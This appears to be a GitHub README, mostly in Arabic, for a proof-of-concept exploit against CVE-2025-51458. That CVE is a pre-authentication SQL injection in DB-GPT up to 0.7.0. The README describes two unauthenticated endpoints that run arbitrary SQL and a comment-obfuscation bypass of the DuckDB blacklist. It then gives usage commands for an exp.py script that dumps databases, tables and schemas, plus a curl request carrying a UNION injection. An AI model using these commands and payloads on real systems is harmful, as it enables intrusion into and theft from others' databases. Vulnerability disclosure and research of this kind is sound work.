q1uf3ng/cve-2025-51458-expCVE-2025-51458 - DB-GPT إثبات المفهوم لثغرة حقن SQL قبل المصادقة PoC
حقن SQL قبل المصادقة في DB-GPT <= 0.7.0
تقبل نقاط النهاية /api/v1/editor/sql/run و /api/v1/editor/chart/run استعلامات SQL عشوائية دون مصادقة. تغطي القائمة السوداء sanitize_sql DuckDB فقط؛ تتلقى اتصالات MySQL و PostgreSQL و SQLite مدخلات المستخدم الخام دون أي تصفية. يمكن تجاوز القائمة السوداء الخاصة بـ DuckDB نفسها عبر إخفاء التعليقات (SEL/**/ECT).
يمثل هذا تجاوزًا لـ CVE-2024-10835 و CVE-2024-10901.
# List databases
python3 exp.py http://target:5670 --list-dbs
# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"
# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables
# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db
# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"
# Interactive mode
python3 exp.py http://target:5670 <db_name>
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'